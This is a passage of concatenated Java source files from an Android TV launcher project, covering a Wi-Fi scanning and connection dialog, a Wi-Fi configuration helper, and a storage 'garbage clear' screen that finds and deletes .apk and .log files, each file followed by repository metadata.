cancel=(Button)view.findViewById(R.id.wifi_dialog_cancel); Button connect=(Button)view.findViewById(R.id.wifi_dialog_connect); final EditText password=(EditText)view.findViewById(R.id.wifi_dialog_password); cancel.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { ConnectDialog.dismiss(); } }); connect.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { String WifiPassword=password.getText().toString(); NetId=wiFiAdmin.AddNetwork(wiFiAdmin.CreatConfiguration(scanResults.get(Num).SSID, WifiPassword, 3)); if(NetId==0){ Toast.makeText(WifiActivity.this, "无线网卡不可用", Toast.LENGTH_LONG).show(); }else if(NetId==1){ Toast.makeText(WifiActivity.this, "密码错误", Toast.LENGTH_LONG).show(); }else if(NetId==2){ Toast.makeText(WifiActivity.this, "正在连接", Toast.LENGTH_LONG).show(); ConnectDialog.dismiss(); }else if(NetId==-1){ Toast.makeText(WifiActivity.this, "连接失败", Toast.LENGTH_LONG).show(); }else{ Toast.makeText(WifiActivity.this, "正在连接", Toast.LENGTH_LONG).show(); ConnectDialog.dismiss(); } handler.sendEmptyMessageDelayed(WIFI_INFO, 2000); } }); password.setOnFocusChangeListener(new OnFocusChangeListener() { @Override public void onFocusChange(View arg0, boolean hasFocus) { // TODO Auto-generated method stub if(hasFocus){ ConnectDialog.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM); }else{ } } }); } } public String GetNowWifiSSID(){ WifiManager mWifi = (WifiManager) getSystemService(Context.WIFI_SERVICE); WifiInfo wifiInfo = mWifi.getConnectionInfo(); String SSID=wifiInfo.getSSID(); return SSID; } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/wifi/WAndB_WifilistAdapter.java
src/com/droid/activitys/wifi/WAndB_WifilistAdapter.java
package com.droid.activitys.wifi; import java.util.List; import android.app.Activity; import android.net.wifi.ScanResult; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.ImageView; import android.widget.TextView; import com.droid.R; public class WAndB_WifilistAdapter extends BaseAdapter{ private LayoutInflater inflater; private List<ScanResult> scanResults; private Viewholder viewholder; private Activity context; public WAndB_WifilistAdapter(Activity context,List<ScanResult> scanResults){ inflater=LayoutInflater.from(context); this.scanResults=scanResults; this.context=context; } @Override public int getCount() { if(scanResults.size()==0){ return 0; } return scanResults.size(); } @Override public Object getItem(int arg0) { return arg0; } @Override public long getItemId(int arg0) { return arg0; } @Override public View getView(int arg0, View view, ViewGroup arg2) { if(view==null){ viewholder=new Viewholder(); view=inflater.inflate(R.layout.wandb_wifilist_item, null); viewholder.WifiName=(TextView)view.findViewById(R.id.wannb_wifilist_item_wifiname); view.setTag(viewholder); }else{ viewholder=(Viewholder)view.getTag(); } viewholder.WifiName.setText(scanResults.get(arg0).SSID); viewholder.ArrowTop=(ImageView)context.findViewById(R.id.wifi_arrowtop); viewholder.ArrowBottom=(ImageView)context.findViewById(R.id.wifi_arrowbottom); if(arg0==scanResults.size()-1){ viewholder.ArrowBottom.setVisibility(View.INVISIBLE); }else{ viewholder.ArrowBottom.setVisibility(View.VISIBLE); } return view; } class Viewholder{ public TextView WifiName; public ImageView ArrowTop; public ImageView ArrowBottom; } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/wifi/util/WiFiAdmin.java
src/com/droid/activitys/wifi/util/WiFiAdmin.java
package com.droid.activitys.wifi.util; import java.util.ArrayList; import java.util.List; import android.content.Context; import android.net.wifi.ScanResult; import android.net.wifi.WifiConfiguration; import android.net.wifi.WifiInfo; import android.net.wifi.WifiManager; import android.net.wifi.WifiManager.WifiLock; import android.util.Log; /* * 自定义wIFI管理类 */ public class WiFiAdmin { // wifimanager对象 private WifiManager mWifiManager; // wifiInfo对象 private WifiInfo mWifiInfo; // 扫描出的网络连接列表 private List<ScanResult> mWifiList; // 网络连接列表 private List<WifiConfiguration> mWifiConfigurations; private WifiLock mwifiLock; public WiFiAdmin(Context context) { // 取得wifimannager mWifiManager = (WifiManager) context .getSystemService(Context.WIFI_SERVICE); // 取得wifiinfo mWifiInfo = mWifiManager.getConnectionInfo(); mWifiList=new ArrayList<ScanResult>(); mWifiConfigurations=new ArrayList<WifiConfiguration>(); } // 打开WIFI public void OpenWifi() { if (!mWifiManager.isWifiEnabled()) { mWifiManager.setWifiEnabled(true); } } // 关闭WIFI public void CloseWifi() { if (mWifiManager.isWifiEnabled()) { mWifiManager.setWifiEnabled(false); } } // 得到WIFI当前状态 public int GetWifiState() { return mWifiManager.getWifiState(); } // 锁定wifilock public void AcquireWifiLock() { mwifiLock.acquire(); } // 释放wifilock public void RelaseWifiLock() { if (mwifiLock.isHeld()) { mwifiLock.release(); } } // 创建一个wifilock public void CreatWifilock() { mwifiLock = mWifiManager.createWifiLock("WIFILOCK"); } // 得到配置好的网络 public List<WifiConfiguration> getConfigurations() { return mWifiConfigurations; } // 指定配置好的网络进行连接 public void ConnectConfiguration(int index) { // 输入的索引大于配置的索引则返回 if (index > mWifiConfigurations.size()) { return; } // 连接到指定的网络 mWifiManager.enableNetwork(mWifiConfigurations.get(index).networkId, true); } public void StartScan() { mWifiManager.startScan(); // 得到扫描结果 mWifiList = mWifiManager.getScanResults(); // 得到配置好的网络连接 mWifiConfigurations = mWifiManager.getConfiguredNetworks(); Log.v("mWifiManager", mWifiManager+""); Log.v("mWifiList", mWifiList+""); Log.v("mWifiConfigurations", mWifiConfigurations+""); // String [] str=new String[mWifiList.size()]; // String tempstring=null; // for(int i=0;i<mWifiList.size();i++){ // tempstring=mWifiList.get(i).SSID; // if(null!=mWifiInfo&&tempstring.equals(mWifiInfo.getSSID())){ // tempstring=tempstring+"已连接"; // } // str[i]=tempstring; // } } public void getWifiConnectInfo(){ mWifiInfo=mWifiManager.getConnectionInfo(); } // 得到网络列表 public List<ScanResult> GetWifilist() { return mWifiList; } // 查看扫描结果 public StringBuilder CheckupScan() { StringBuilder stringBuilder = new StringBuilder(); for (int i = 0; i < mWifiList.size(); i++) { stringBuilder .append("Index_" + new Integer(i + 1).toString() + ":"); // 将Scanresult转换成一个字符串包 // 其中包括:BSSID SSID capabilities frequency level stringBuilder.append(mWifiList.get(i).toString()); stringBuilder.append("/n"); } return stringBuilder; } // 得到MAC地址 public String GetMacAdress() { return (mWifiInfo == null) ? "NULL" : mWifiInfo.getMacAddress(); } //得到SSID public String GetSSID(){ return (mWifiInfo==null)?"NULL":mWifiInfo.getSSID(); } // 得到接入点的BSSID public String GetBSSID() { return (mWifiInfo == null) ? "NULL" : mWifiInfo.getBSSID(); } // 得到ip地址 public int GetIpAdress() { return (mWifiInfo == null) ? 0 : mWifiInfo.getIpAddress(); } // 得打连接的ID public int GetNetworkID() { return (mWifiInfo == null) ? 0 : mWifiInfo.getNetworkId(); } // 得到wifiinfo的所有信息包 public String GetWifiinfo() { return (mWifiInfo == null) ? "NULL" : mWifiInfo.toString(); } // 添加一个网络并连接 public int AddNetwork(WifiConfiguration configuration) { int configurationId = mWifiManager.addNetwork(configuration); boolean b = mWifiManager.enableNetwork(configurationId, true); System.out.println("configurationId---------->" + configurationId); System.out.println("b---------->" + b); return configurationId; } // 断开指定ID的网络 public void disconnectWifi(int networkid) { mWifiManager.disableNetwork(networkid); mWifiManager.disconnect(); } public WifiConfiguration CreatConfiguration(String SSID, String Password, int Type) { WifiConfiguration configuration = new WifiConfiguration(); configuration.allowedAuthAlgorithms.clear(); configuration.allowedGroupCiphers.clear(); configuration.allowedKeyManagement.clear(); configuration.allowedPairwiseCiphers.clear(); configuration.allowedProtocols.clear(); configuration.SSID = "\"" + SSID + "\""; WifiConfiguration tempConfiguration = IsExits(SSID, mWifiManager); if (tempConfiguration != null) { mWifiManager.removeNetwork(tempConfiguration.networkId); } // WIFICIPHER_NOPASS if (Type == 1) { configuration.wepKeys[0] = ""; configuration.allowedKeyManagement .set(WifiConfiguration.KeyMgmt.NONE); configuration.wepTxKeyIndex = 0; } // WIFICIPHER_WEP if (Type == 2) { configuration.hiddenSSID = true; configuration.wepKeys[0] = "\"" + Password + "\""; configuration.allowedAuthAlgorithms .set(WifiConfiguration.AuthAlgorithm.SHARED); configuration.allowedGroupCiphers .set(WifiConfiguration.GroupCipher.CCMP); configuration.allowedGroupCiphers .set(WifiConfiguration.GroupCipher.TKIP); configuration.allowedGroupCiphers .set(WifiConfiguration.GroupCipher.WEP40); configuration.allowedGroupCiphers .set(WifiConfiguration.GroupCipher.WEP104); configuration.allowedKeyManagement .set(WifiConfiguration.KeyMgmt.NONE); configuration.wepTxKeyIndex = 0; } // WIFICIPHER_WPA if (Type == 3) { configuration.preSharedKey = "\"" + Password + "\""; configuration.hiddenSSID = true; configuration.allowedAuthAlgorithms .set(WifiConfiguration.AuthAlgorithm.OPEN); configuration.allowedGroupCiphers .set(WifiConfiguration.GroupCipher.TKIP); configuration.allowedKeyManagement .set(WifiConfiguration.KeyMgmt.WPA_PSK); configuration.allowedPairwiseCiphers .set(WifiConfiguration.PairwiseCipher.TKIP); configuration.allowedGroupCiphers .set(WifiConfiguration.GroupCipher.CCMP); configuration.allowedPairwiseCiphers .set(WifiConfiguration.PairwiseCipher.CCMP); configuration.status = WifiConfiguration.Status.ENABLED; } return configuration; } //判断wifi是否存在 private static WifiConfiguration IsExits(String SSID, WifiManager manager) { List<WifiConfiguration> exitsConfigurations = manager .getConfiguredNetworks(); for (WifiConfiguration configuration : exitsConfigurations) { if (configuration.SSID.equals("\"" + SSID + "\"")) { return configuration; } } return null; } public WifiManager getWifiManager() { return mWifiManager; } public boolean isWifiEnable() { return mWifiManager.isWifiEnabled(); } //转换IP地址 public String GetIntIp() { int i=GetIpAdress(); if(i==0){ return ""; } return (i & 0xFF) + "." + ((i >> 8) & 0xFF) + "." + ((i >> 16) & 0xFF) + "." + ((i >> 24) & 0xFF); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/garbageclear/GarbageClear.java
src/com/droid/activitys/garbageclear/GarbageClear.java
package com.droid.activitys.garbageclear; import java.io.File; import java.util.ArrayList; import java.util.List; import android.annotation.SuppressLint; import android.app.Activity; import android.os.AsyncTask; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.os.Message; import android.view.View; import android.view.View.OnClickListener; import android.view.Window; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.Button; import android.widget.FrameLayout; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.droid.R; import com.droid.activitys.garbageclear.util.ClearUtil; @SuppressLint("InflateParams") public class GarbageClear extends Activity { private Button StartFound, StartClear; protected final int FOUND_FINISH = 0; protected final int CLEAR_FINISH = 1; private List<File> list; private ProgressBar progressdisplay; private String[] ClearType = {".apk", ".log"}; private boolean IsInstall; private RelativeLayout found_layout; private FrameLayout clear_layout; private ImageView RoundImg; private Animation animation; private TextView file_path; private ImageView dialog_img; private long File_Grbagesize = 0; private TextView grbage_size; private boolean Found = false;// 如果为false则未完成扫描 private int TaskNum = 0; private int progressbar_num = 0; private List<FoundTask> tasklist; @SuppressLint("HandlerLeak") private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { switch (msg.what) { case FOUND_FINISH: //查找完毕 Found = true; StartFound.setText("开始清理"); file_path.setText("查找完毕"); StartFound.setClickable(true); progressdisplay.setProgress(100); progressbar_num = 0; dialog_img.setImageResource(R.drawable.dialog_center_img); break; case CLEAR_FINISH: //清理完毕 Found = false; StartClear.setClickable(true); StartFound.setText("开始扫描"); StartClear.setText("清理完毕"); grbage_size.setText("0"); StartFound.setClickable(true); animation = null; File_Grbagesize = 0; progressdisplay.setProgress(progressbar_num); RoundImg.setAnimation(animation); RoundImg.setVisibility(View.GONE); dialog_img.setImageResource(R.drawable.finish_clear); break; } } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); setContentView(R.layout.garbageactivity_main); Init(); Linstener(); } public void Init() { list = new ArrayList<File>(); tasklist = new ArrayList<GarbageClear.FoundTask>(); animation = AnimationUtils.loadAnimation(GarbageClear.this, R.anim.dialog_anmiation); progressdisplay = (ProgressBar) findViewById(R.id.progressBar1); StartFound = (Button) findViewById(R.id.start_found); file_path = (TextView) findViewById(R.id.file_path); StartClear = (Button) findViewById(R.id.start_clear); RoundImg = (ImageView) findViewById(R.id.round_img); grbage_size = (TextView) findViewById(R.id.garbage_size); dialog_img = (ImageView) findViewById(R.id.dialog_img); found_layout = (RelativeLayout) findViewById(R.id.found_layout); clear_layout = (FrameLayout) findViewById(R.id.clear_layout); // UseMemory=StorageUtil.getUseMemorySize(); } @SuppressLint("SdCardPath") public void Linstener() { StartClear.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { // TODO Auto-generated method stub clear_layout.setVisibility(View.GONE); found_layout.setVisibility(View.VISIBLE); } }); StartFound.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { // TODO Auto-generated method stub StartFound.setClickable(false); if (!Found) { StartFound.setText("扫描中"); StartClear.setClickable(false); new FoundTask(Environment.getExternalStorageDirectory() + "/", ClearType).execute(); } else { if (File_Grbagesize != 0) { StartClear.setClickable(false); clear_layout.setVisibility(View.VISIBLE); found_layout.setVisibility(View.GONE); RoundImg.setAnimation(animation); new Thread(new Runnable() { @Override public void run() { // TODO Auto-generated method stub DeleteFile(); Message message = new Message(); message.what = CLEAR_FINISH; handler.sendMessage(message); } }).start(); } else { StartFound.setClickable(true); Toast.makeText(GarbageClear.this, "当前不需要清理", Toast.LENGTH_SHORT) .show(); } } } }); } public void DeleteFile() { for (File file : list) { file.delete(); } list.clear(); } /* *扫描文件异步任务 */ class FoundTask extends AsyncTask<Void, String, List<FoundTask>> { String path; String[] Extension; public FoundTask(String path, String[] Extension) { this.path = path; this.Extension = Extension; } @Override protected List<FoundTask> doInBackground(Void... arg0) { final File[] files = new File(path).listFiles(); String File_path = null; for (File file : files) { if (file.isFile()) { publishProgress(file.getPath()); for (int i = 0; i < ClearType.length; i++) { if (file.getPath() .substring( file.getPath().length() - Extension[i].length()) .equals(Extension[i])) { File_path = file.getAbsolutePath(); IsInstall = ClearUtil.TakeIsInstallApk(File_path, GarbageClear.this); //判断是否已安装װ if (!IsInstall) { long size = ClearUtil.getFileSize(file); File_Grbagesize = File_Grbagesize + size; list.add(file); } } } } else if (file.isDirectory() && file.getPath().indexOf("/.") == -1) { tasklist.add(new FoundTask(file.getPath(), Extension)); TaskNum++; } } return tasklist; } @Override protected void onProgressUpdate(String... values) { //更改显示的文件路径 String value = values[0]; file_path.setText(value); } @Override protected void onPostExecute(List<FoundTask> result) { // TODO Auto-generated method stub super.onPostExecute(result); //执行完毕 开始执行下一个任务 if (result != null && TaskNum != 0) { tasklist.get(0).execute(); grbage_size.setText((int) ((float) File_Grbagesize / 1024 / 1024 / 2) + ""); TaskNum--; tasklist.remove(0); if (progressbar_num < 100) { progressbar_num++; progressdisplay.setProgress(progressbar_num); } else if (progressbar_num == 100) { progressbar_num = 0; } } //任务执行完成 else if (TaskNum == 0) { Message message = new Message(); message.what = FOUND_FINISH; handler.sendMessage(message); } } } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/garbageclear/util/StorageUtil.java
src/com/droid/activitys/garbageclear/util/StorageUtil.java
package com.droid.activitys.garbageclear.util; import java.io.File; import android.os.Environment; import android.os.StatFs; public class StorageUtil { private final static long ERROR = -1; public Boolean extermalMemoryAvailable() { return Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED); } public static long getUseMemorySize() { File path = Environment.getExternalStorageDirectory(); StatFs statFs = new StatFs(path.getPath()); long blocksize = statFs.getBlockSize(); long totalblock = statFs.getBlockCount(); long availableBlocks = statFs.getAvailableBlocks(); return (totalblock * blocksize) - (blocksize * availableBlocks); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/garbageclear/util/ClearUtil.java
src/com/droid/activitys/garbageclear/util/ClearUtil.java
package com.droid.activitys.garbageclear.util; import java.io.File; import java.io.FileInputStream; import android.content.Context; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; public class ClearUtil { public static boolean TakeIsInstallApk(String abPath, Context context) { PackageManager pm = context.getPackageManager(); try { pm.getPackageInfo(abPath, PackageManager.GET_ACTIVITIES); return true; } catch (NameNotFoundException e) { return false; } } public static long getFileSize(File f) { long size = 0; try { FileInputStream inputStream = new FileInputStream(f); size = inputStream.available(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } return size / 1024; } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false